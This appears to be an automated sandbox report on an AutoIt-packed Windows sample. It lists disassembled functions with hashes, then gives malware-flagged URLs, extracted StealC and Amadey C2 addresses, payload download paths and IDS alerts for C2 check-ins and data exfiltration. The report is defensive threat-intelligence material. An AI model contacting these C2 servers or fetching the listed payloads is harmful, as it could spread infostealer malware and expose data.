Instruction Fuzzy Hash: 0011BF72100108ABEF168FA4DC84ABB376AEB14775F51C724FA69931E0C736DC91A750

Function 00A46C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

CharUpperBuffW.USER32(?,?,?), ref: 00A46CB6
_wcslen.LIBCMT ref: 00A46CC2

Strings

STOP, xrefs: 00A46CBC, 00A46CC1

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 60bfb3960d2ef5839592362489980d6f7bba1507bfc11e92e6aa08173f9fd1d8
Instruction ID: ba27798c32ce3c89a18402f0ed19d6ab528bcf5463a5628f56ad84920bae4a74
Opcode Fuzzy Hash: 60bfb3960d2ef5839592362489980d6f7bba1507bfc11e92e6aa08173f9fd1d8
Instruction Fuzzy Hash: E101C036A009268ACB21AFBDDC809BF77B5EFE67147500928E86297190EB31DD40C651

Function 00A41CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Part of subcall function 00A43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A43CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00A41D4C

Strings

ListBox, xrefs: 00A41D16
ComboBox, xrefs: 00A41CEB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: bc081684504eb79b5aad624eef5f32bb6ce8d59b633184b0df6d846485288b3c
Instruction ID: 7f10e0423b29cbc0f2e655f37361ffc77d8f1e22813616869a587a474d7b1549
Opcode Fuzzy Hash: bc081684504eb79b5aad624eef5f32bb6ce8d59b633184b0df6d846485288b3c
Instruction Fuzzy Hash: AE012879A00214ABCF14FFA0CD51DFE73A8FB82350B500909F862572D1EA305D488660

Function 00A41BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Part of subcall function 00A43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A43CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00A41C46

Strings

ListBox, xrefs: 00A41C10
ComboBox, xrefs: 00A41BE5

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 86bce11c18458b325fd193ba1a5e9862da088e428cf75176c780755aab0f502f
Instruction ID: 3073c0a59dda2d0975139edbab9af6f0cbdedfbc01c5bb4feee3635dec2db5ca
Opcode Fuzzy Hash: 86bce11c18458b325fd193ba1a5e9862da088e428cf75176c780755aab0f502f
Instruction Fuzzy Hash: E501A779A8111876CF15FBA0CE91AFF77A89B92340F140419A806672C1FA649E4C86B1

Function 00A41C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Part of subcall function 00A43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A43CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00A41CC8

Strings

ListBox, xrefs: 00A41C94
ComboBox, xrefs: 00A41C69

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: df78a53e7188883cb358f356b31102b211565c06b3e30a7474b3eb51e7d4f26e
Instruction ID: 4ab8372d49430d1a4b487008a94f60efd68211ebbe4c2e20f615abc0e73ce3c1
Opcode Fuzzy Hash: df78a53e7188883cb358f356b31102b211565c06b3e30a7474b3eb51e7d4f26e
Instruction Fuzzy Hash: E401D679A8011877CF15FBA1CF81BFE73A8AB92340F540419B80673281FA609F59C671

Function 00A41D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Part of subcall function 00A43CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00A43CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00A41DD3

Strings

ListBox, xrefs: 00A41DA0
ComboBox, xrefs: 00A41D75

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 8f9fc8ab385c6e9b9b2c35f6d62dc59f1f2e4bdf046ad0050a39a9580d2592c5
Instruction ID: aa8afa3720320391ca3720ac835dc3f3d2910d458f0ba3a82e5928ccbdd7fd8e
Opcode Fuzzy Hash: 8f9fc8ab385c6e9b9b2c35f6d62dc59f1f2e4bdf046ad0050a39a9580d2592c5
Instruction Fuzzy Hash: 1AF0F4B5F4021476CB14F7A4CD92BFE73B8AB82350F040D19B822632C1EA605D488260

Function 00A6747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A67493
_wcslen.LIBCMT ref: 00A674B9

Strings

3, 3, 16, 1, xrefs: 00A67483

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: f3a750d1ddeede7f316a46dfba17053cbdf0951260562bdce4bad2e498462a10
Instruction ID: d729539b207442a706d549d822f38aa6ec80b949e6e8cf2cf595d888cb2ebf7c
Opcode Fuzzy Hash: f3a750d1ddeede7f316a46dfba17053cbdf0951260562bdce4bad2e498462a10
Instruction Fuzzy Hash: 71E02B8222522020D2311379ADCDA7F5699EFC9B90710183BFE81C22A6EE948D9193A0

Function 00A40B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00A40B23

Strings

AutoIt, xrefs: 00A40B17
Error allocating memory., xrefs: 00A40B1C

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 36c7ca0fd42e24d970325ba990b78b22edca1b1e8afe23943ccb7cad92c92d59
Instruction ID: ed06d241ba24fa434985f0e2c1f13be10123826baa900ff1e53fd3beebd3a148
Opcode Fuzzy Hash: 36c7ca0fd42e24d970325ba990b78b22edca1b1e8afe23943ccb7cad92c92d59
Instruction Fuzzy Hash: 99E0D83224430C36D21437947C03F897B849F05B60F10842EF78C994C38BE2249006AD

Function 00A00D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 009FF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00A00D71,?,?,?,009E100A), ref: 009FF7CE

IsDebuggerPresent.KERNEL32(?,?,?,009E100A), ref: 00A00D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,009E100A), ref: 00A00D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00A00D7F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 374ad44d4f440aa783c315d926045867e3ebe24e330fe25e4f2a38a5e039b27d
Instruction ID: 28caf773c401a516f411f494cd67294256e920299eb05c5544f0adaf2460dcc3
Opcode Fuzzy Hash: 374ad44d4f440aa783c315d926045867e3ebe24e330fe25e4f2a38a5e039b27d
Instruction Fuzzy Hash: 5FE06D702007418FD370EFB8E8047427BE4AF00740F00C92DE48AC7692EBB0E5858BA1

Function 00A53017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00A5302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00A53044

Strings

aut, xrefs: 00A53038

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 8041c370e7c797c14312be3a65308121f7310452ba2914ddccc67b3323bf0264
Instruction ID: ca11047b1a6add569dd5d9b13bf21e9224f42d8e135f0f2a8e0b87b6a3b7dac6
Opcode Fuzzy Hash: 8041c370e7c797c14312be3a65308121f7310452ba2914ddccc67b3323bf0264
Instruction Fuzzy Hash: 02D05E7250032877DB20E7E4AC0EFDB3A6CDB05760F0006A1B659E20D2DAB09A85CBD0

Function 00A3D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00A3D220

Strings

X64, xrefs: 00A3D2A8
%.3d, xrefs: 00A3D22B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: a693f53df77d500eecc9dc304f53cf4a6345229595c85ad844439c6d131fda7e
Instruction ID: 43c68d97246a071616b4cc16adb9144e6adcba606ee11f4adb0bf0fe5ca07efd
Opcode Fuzzy Hash: a693f53df77d500eecc9dc304f53cf4a6345229595c85ad844439c6d131fda7e
Instruction Fuzzy Hash: 8DD012B1809108E9CF9096D0EC459FBB37CBF08301F608462F90AE2041D634C5486761

Function 00A72322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00A7232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00A7233F

Part of subcall function 00A4E97B: Sleep.KERNELBASE ref: 00A4E9F3

Strings

Shell_TrayWnd, xrefs: 00A72325

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 0652d738cdbccfa3bf5fbb85e6406b514311e9cd4d4516350e7206f7ba40416d
Instruction ID: 2036cb254a87da7906587e741be2fbc442781540a6aec83e6b1ef1d97f63293e
Opcode Fuzzy Hash: 0652d738cdbccfa3bf5fbb85e6406b514311e9cd4d4516350e7206f7ba40416d
Instruction Fuzzy Hash: 2BD012363D4310B7E664F7B0DC4FFC6BA14AB40B21F00891AB749AA1D1CAF4A842CE54

Function 00A72356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00A7236C
PostMessageW.USER32(00000000), ref: 00A72373

Part of subcall function 00A4E97B: Sleep.KERNELBASE ref: 00A4E9F3

Strings

Shell_TrayWnd, xrefs: 00A72365

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 2ee7fcd2a6b3c12bad25c2ca777486b6805b3eb4d48ba14ca2358a8bd5b91b3a
Instruction ID: 3f7c3ddb5d9ac12c51d16564a77002dfe1e85de8257a7ea2d68e6e56a28e0959
Opcode Fuzzy Hash: 2ee7fcd2a6b3c12bad25c2ca777486b6805b3eb4d48ba14ca2358a8bd5b91b3a
Instruction Fuzzy Hash: F8D0C9363D1310BAE664E7B09C4FFC6A614AB45B21F00891AB649AA1D1CAA4A8428A54

Function 00A1BDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00A1BE93
GetLastError.KERNEL32 ref: 00A1BEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00A1BEFC

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 5b87215eabfaaad95f2d18c68ef559766c419647c93d7670abed1a3bf079eebf
Instruction ID: c897ac6eed1247203dcc124e1369c7fa630c9f7e612ca759f50d0867f016db63
Opcode Fuzzy Hash: 5b87215eabfaaad95f2d18c68ef559766c419647c93d7670abed1a3bf079eebf
Instruction Fuzzy Hash: 3541B134614206AFDF21CFA5DD44AEABBB9AF41320F244169F9599B1E1DB30CD82CB70

Source: http://185.215.113.100/	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.100	URL Reputation: Label: malware
Source: http://185.215.113.16/steam/random.exe6522nGfO	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phpl	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpO	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpU	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpAppData	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.php/E	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php?	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpX	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpD	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phpa	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phptch	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/ta	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/ata	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpsr	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.phpT	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php8	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpb	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpc	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpgM	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phph	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/S	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpi	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpm	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/well/random.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phpAppDataBt	Avira URL Cloud: Label: phishing
Source: http://185.215.113.100/e2b1563c6670f193.php/	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.phpata	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/well/random.exe.	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.phphM	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/G	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php0	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exesG	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php053001	Avira URL Cloud: Label: phishing
Source: 185.215.113.100/e2b1563c6670f193.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.19/Vi9leo/index.php=	Avira URL Cloud: Label: phishing
Source: http://185.215.113.19/Vi9leo/index.php000	Avira URL Cloud: Label: phishing

Source: 48c5076e95.exe.7060.7.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.100/e2b1563c6670f193.php"}
Source: explorti.exe.5240.6.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Source: http://185.215.113.100/e2b1563c6670f193.phpl	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.phpU	Virustotal: Detection: 14%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.php?	Virustotal: Detection: 23%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.phpD	Virustotal: Detection: 19%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpa	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpX	Virustotal: Detection: 10%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php/E	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.19/ta	Virustotal: Detection: 15%	Perma Link
Source: http://185.215.113.100/ata	Virustotal: Detection: 8%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpT	Virustotal: Detection: 15%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.php	Virustotal: Detection: 24%	Perma Link
Source: http://185.215.113.100/S	Virustotal: Detection: 15%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.phpc	Virustotal: Detection: 19%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php8	Virustotal: Detection: 10%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.phpm	Virustotal: Detection: 19%	Perma Link
Source: http://185.215.113.16/well/random.exe	Virustotal: Detection: 25%	Perma Link
Source: http://185.215.113.19/	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.php/	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.16/well/random.exe.	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.16/steam/random.exe	Virustotal: Detection: 23%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.php0	Virustotal: Detection: 19%	Perma Link
Source: http://185.215.113.19/G	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.19/Vi9leo/index.phpata	Virustotal: Detection: 19%	Perma Link

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1000053001\0c179c8402.exe	ReversingLabs: Detection: 21%
Source: C:\Users\user\AppData\Roaming\1000051000\48c5076e95.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Roaming\1000052000\a759b4c7d8.exe	ReversingLabs: Detection: 39%

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49712 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49714 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49717 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49716 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.19:80 -> 192.168.2.5:49712
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49719 -> 185.215.113.19:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49733 -> 185.215.113.100:80

Source: Malware configuration extractor	URLs: 185.215.113.100/e2b1563c6670f193.php
Source: Malware configuration extractor	IPs: 185.215.113.19

